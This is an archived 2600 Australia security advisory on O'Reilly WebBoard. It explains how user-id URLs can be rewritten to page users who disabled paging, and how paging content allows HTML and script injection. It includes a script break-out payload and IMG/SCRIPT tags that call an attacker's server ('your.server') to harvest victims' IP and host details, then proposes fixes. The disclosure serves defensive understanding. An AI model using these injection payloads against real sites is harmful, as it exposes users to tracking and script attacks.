O'Reilly's WebBoard software has some bugs with interesting possibilities. Vulnerabilities include unauthorized paging and arbitrary content insertion.
f599b47fd54cd9044b14d6b79b5aec270c167886138278d2b2fbba16cbe89790<!DOCTYPE HTML PUBLIC "html.dtd">
<HTML>
<HEAD>
<TITLE>2600 Australia: O'Reilly WebBoard Vulnerabilities</TITLE>
</HEAD>
<BODY BGCOLOR="#000000" VLINK="#FFFFFF" LINK="#FFFFFF" ALINK="#FFFFFF">
<CENTER>
<IMG SRC="http://the.ausmac.net/2600-title.gif" WIDTH="600" HEIGHT="217" ALT="2600 Australia" BORDER="0">
<P>
</CENTER>
<P>
<CENTER>
<FONT SIZE="5" FACE="verdana,helvetica,arial" COLOR="#FFFFFF"><B>
O'Reilly WebBoard Vulnerabilities
</B></FONT><BR>
<FONT SIZE="2" FACE="verdana,helvetica,arial" COLOR="#FFFFFF">
by <A HREF="http://pho.2600.org.au/">Pho</A>.
</FONT><P>
</CENTER>
<BLOCKQUOTE>
<FONT SIZE="2" FACE="verdana,helvetica,arial" COLOR="#FFFFFF"><B>
Reference Links:
</B><P>
<UL>
<LI><A HREF="http://webboard.oreilly.com/">webboard.oreilly.com</A> - WebBoard marketing + free demo CDs.
<LI><A HREF="http://forums.oreilly.com/~webboard4/newuser">Demonstration forum</A> - Test here, login 2600, password 2600.
<LI><A HREF="http://www.tiac.net/users/smiths/">Advanced Web Programming</A> - Richard M. Smith's page.
</UL>
<P><BR>
<FONT SIZE="2" FACE="verdana,helvetica,arial" COLOR="#FFFFFF"><B>
Introduction
</B><P>
O'Reilly's WebBoard software first came to my attention when I discovered
that my high school (along with various sections of TAFE) were
using it in classrooms. Having looked at it for a while and played
around, I discovered a couple of interesting bugs, with some interesting
possibilities.
<P>
By the way, if you would like to have a play with the software, you can
find a public demonstration at the O'Reilly site above.
<P><BR>
<FONT SIZE="2" FACE="verdana,helvetica,arial" COLOR="#FFFFFF"><B>
Vulnerabilities
</B><P><BR>
<UL>
<LI><B>Unauthorised Paging</B><P>
The first problem found with the software was that users who had disabled
paging in their preferences were still able to be paged. The programmers
merely removed the page link from the current users listing (the paging
screen) where a particular user had disabled paging. Rewriting a
pager enabled user's page-link to instead target a pager disabled user
is as simple as acquiring the pager disabled user's user id number from
their 'view profile' link (the 'User' column on the current users/paging
page).
<P>
So for example, I see user <FONT COLOR="yellow">Administrator</FONT>
online with no paging enabled. Looking at the target of the user's 'User'
column link reveals the following URL -
<P>
<FONT COLOR="yellow">http://hemi.demi.semi.random.number.com/~boardname/userpeek?31337</FONT>
<P>
Now armed with the user's user id number (31337), I can rewrite a valid
page link ...<P>
<FONT COLOR="yellow">http://hemi.demi.semi.random.number.com/~boardname/pageuser?7035</FONT>
<P>
... with the paging 'disabled' user's user id number. Thus we arrive at the following:<P>
<FONT COLOR="yellow">http://hemi.demi.semi.random.number.com/~boardname/pageuser?31337</FONT>
<P>
This will send the page message, however it's not a very useful hole
(because the user will not see your page until they turn paging off).
Not to worry, the next problem is more exciting.
<P><BR>
<LI><B>Arbitrary Content Insertion</B><P>
That's right, you can insert HTML and all of its friends in to your fellow-user's
browser to be parsed and (in the case of the various
<FONT COLOR="yellow"><script></FONT> languages) .. executed. This leads to
many interesting applications of this hole -- but first, how it works.
<P>
This attack only works because insufficient input checking is done upon paging
content, and because that content is dumped straight in to the target user's next
page. The position in that page in which your paging content is dumped presents
a slight challenge (see code segment, below) though insertion of appropriate
content will ensure a customised message and arbitrary code, with no HTML
parsing quirks. Indeed, it is possible to 'cloak' your message in many browsers
(at <I>least</I> Netscape) and your target wont know that they've been paged at
all.<P>
<FONT COLOR="yellow">
<script language="JavaScript"><BR>
<!--<BR>
alert('00:00:00 AM\nUser Name has paged you:\n\nMessage.');<BR>
//--><BR>
</script><BR>
</FONT>
<P>
Firstly, you need to 'break out' of the javascript quotes. You have
a couple of options, however you are restricted in that <B>after</B>
your input, the WebBoard script will append the following text - <P>
<FONT COLOR="yellow">
');<BR>
//--><BR>
</script><BR>
</FONT>
<P>
You also have a one-line restriction (not a problem, since carriage returns
are not normally significant in HTML) unless you want to see
<FONT COLOR="yellow">\n</FONT> appearing left, right and centre.
<P>
Suppose our goal should be to silently insert some code (ie: No errors
should appear in the target's browser, and the page will still parse fine
in as many browsers as possible). My solution negates the paging action
(which you may or may not care to do), in addition to accomplishing this
goal. The query follows...<P>
<FONT COLOR="yellow">
--> </script> contentgoeshere... <script> <!--
</FONT>
<P>
This will generate HTML in the target user's browser like this - <P>
<FONT COLOR="yellow">
<script language="JavaScript"><BR>
<!--<BR>
alert('00:00:00 AM\nUser Name has paged you:\n\n--><BR>
</script> contentgoeshere... <script> <!--');<BR>
//--><BR>
</script><BR>
</FONT>
<P>
Because the javascript statement is never finished, it is never
executed. Furthermore, in my (limited) testing no error has been
generated.
<P><BR>
<B>Applications</B><P>
You can find out a <I>lot</I> of details about the target's host and
network setup with the arbitrary insertion vulnerability.<P>
<UL>
<LI>
<B>Internet IP Address</B><P>
Easy to acheive, all you have to do is create a connection to a
host that you control. For example, creating a 1x1 GIF89a image
that is transparent and inserting an appropriate HTML
<FONT COLOR="yellow"><IMG SRC="http://your.server/file.gif">
</FONT> tag would be a good start for auto image-loading browers.
For others, a <FONT COLOR="yellow"><SCRIPT SRC="http://your.server/file">
</FONT> style script-request would probably do quite nicely. Note
that this may be the IP address of a proxy server.<P>
<LI>
<B>LAN IP Address</B><P>
Using javascript (such as that written by Richard M. Smith -- see
link above) it is possible to request the host's IP address and
have it delivered to you (eg: via email). <I>Untested.</I><P>
<LI>
<B>(False?) Domain Name</B><P>
This is the target's idea of its own hostname. Note that on
Windows 9x (at least), and some linux distributions, inventing
false domain names is encouraged/forced during default TCP/IP
setup. Even if false, you still may value this name for guessing
machine names for SMB-related attacks, however.<P>
<LI>
<B>Remote Operating System</B><P>
Using javascript (such as that written by Richard M. Smith -- see
link above) it is possible to request the host's OS and
have it delivered to you (eg: via email). <I>Untested.</I><P>
Also, you can find the OS from HTTP headers of induced requests
to your own servers (see <I>Internet IP Address</I>, above) --
although this is often spoofed.<P>
<LI>
<B>SMTP Gateway</B><P>
Using javascript (such as that written by Richard M. Smith -- see
link above) it is possible to send email, thus deducing (from
SMTP headers) the target's SMTP gateway address and software. <I>Untested.</I><P>
</UL>
<P><BR>
<LI>
<B>Spamming</B><P>
It would be trivial for a spammer to write a script to extract email
addresses from a WebBoard server. Luckily, WebBoard has a 'hide my
email address' option in the user preferences.<P>
It is similarly trivial for a spammer to write a script to spam users
of WebBoard via mass-paging.
</UL>
<P><BR>
<FONT SIZE="2" FACE="verdana,helvetica,arial" COLOR="#FFFFFF"><B>
Solutions
</B><P>
<UL>
<LI>
In terms of unauthorised paging, something along these lines...<P>
<FONT COLOR="yellow">
if($targetuser[allowpaging] == TRUE) {<BR>
page the user<BR>
}<BR>
else {<BR>
display error<BR>
}<BR>
</FONT>
<P>
... around the paging code in the <FONT COLOR="yellow">pageuser</FONT>
program would fix the problem.
<P>
<LI>
The cause of the insertion problem was that the programmers did not
follow the number one security rule -- <I>deny all that you do not
explicitly allow</I>. Non-alphanumeric characters should all be
denied, bar spaces and regular punctuation (which should be
properly escaped).
<P>
<LI>
Spamming can't really be fixed -- it's a problem with the web model.
Countermeasures such as maximum users' paged per IP per minute, and
HTTP 1.1 source (referrer) verification could provide <I>very</I>
basic protection. Their potential problems might outweigh their
usefulness, though.
</UL>
<P><BR>
<FONT SIZE="2" FACE="verdana,helvetica,arial" COLOR="#FFFFFF"><B>
Conclusion
</B><P>
<FONT COLOR="yellow">"Nothing <I>opens the lines of communication</I> like
WebBoard. Since its first release, WebBoard from O'Reilly Software has
promoted communication, <I>information sharing</I>, and the entire concept
of electronic community. Now, with the release of WebBoard 4.0,
communication has become easier than ever."</FONT> - webboard.oreilly.com
opening paragraph
<P>
I studied irony as part of my satire topic area for the HSC (end of high
school assessments in NSW, Australia) this year. I was short of
examples. Maybe if I hadn't let my schooling get in the way of my
education, I might have had an extra one.
<P>
Sigh.
<P>
</BLOCKQUOTE>
<CENTER>
2600 Australia - Now more than ever, watching the watchmen...
</CENTER>
<P>
Please feel free to direct questions or comments to
<A HREF="mailto:photon@2600.org.au">Pho</A> or visit
<A HREF="http://pho.2600.org.au/">http://pho.2600.org.au/</A>
</FONT>
</BODY></HTML>
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed